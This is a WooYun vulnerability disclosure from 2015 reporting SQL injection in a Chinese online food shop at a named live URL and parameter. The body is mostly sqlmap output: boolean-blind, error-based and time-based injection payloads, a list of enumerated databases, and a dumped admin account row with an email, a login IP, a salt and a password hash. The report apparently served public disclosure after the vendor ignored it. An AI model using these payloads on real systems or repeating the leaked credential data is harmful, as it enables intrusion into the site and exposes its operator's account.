当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-090197

漏洞标题:中国吃网商城存在sql注入

相关厂商:吃网

漏洞作者: 弥撒

提交时间:2015-01-08 11:06

修复时间:2015-02-22 11:08

公开时间:2015-02-22 11:08

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-08: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-02-22: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

中国吃网商城存在sql注入

详细说明:

注入点:http://shop.6eat.com/group_buy.php?id=9

漏洞证明:

[04:44:51] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: id (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: id=-1174 OR (7168=7168)#
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=9 AND (SELECT 8505 FROM(SELECT COUNT(*),CONCAT(0x7178627071,(SEL
ECT (CASE WHEN (8505=8505) THEN 1 ELSE 0 END)),0x716b6a7671,FLOOR(RAND(0)*2))x F
ROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=9 AND SLEEP(5)
---
[04:44:52] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2008 or Vista
web application technology: ASP.NET, PHP 5.3.26, Microsoft IIS 7.0
back-end DBMS: MySQL 5.0
[04:44:52] [INFO] fetching database names
[04:44:52] [INFO] the SQL query used returns 14 entries
[04:44:52] [INFO] resumed: information_schema
[04:44:52] [INFO] resumed: cysq
[04:44:52] [INFO] resumed: eat_uchome
[04:44:52] [INFO] resumed: eat_ultrax
[04:44:52] [INFO] resumed: ecshop1.0
[04:44:52] [INFO] resumed: fanwedc
[04:44:52] [INFO] resumed: mysql
[04:44:52] [INFO] resumed: performance_schema
[04:44:52] [INFO] resumed: sakila
[04:44:52] [INFO] resumed: test
[04:44:52] [INFO] resumed: vgou
[04:44:52] [INFO] resumed: weixin
[04:44:52] [INFO] resumed: world
[04:44:52] [INFO] resumed: xincuang
available databases [14]:
[*] cysq
[*] eat_uchome
[*] eat_ultrax
[*] ecshop1.0
[*] fanwedc
[*] information_schema
[*] mysql
[*] performance_schema
[*] sakila
[*] test
[*] vgou
[*] weixin
[*] world
Database: ecshop1.0
Table: ecs_admin_user
[1 entry]
+---------+---------+-----------+--------------+---------------+--------------+-
--------+----------+----------+----------------------------------+------------+-
----------+-----------+------------+-------------+
| user_id | role_id | agency_id | suppliers_id | email | last_ip |
ec_salt | nav_list | todolist | password | add_time |
lang_type | user_name | last_login | action_list |
+---------+---------+-----------+--------------+---------------+--------------+-
--------+----------+----------+----------------------------------+------------+-
----------+-----------+------------+-------------+
| 1 | NULL | 0 | 0 | [email protected] | 121.8.211.74 |
9282 | | NULL | f4f8256f1073c22df24f54024f1ebbae | 1400524216 |
<blank> | admin | 1410284491 | all |
+---------+---------+-----------+--------------+---------------+--------------+-
--------+----------+----------+----------------------------------+------------+-
----------+-----------+------------+-------------+

修复方案:

过滤

版权声明:转载请注明来源 弥撒@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝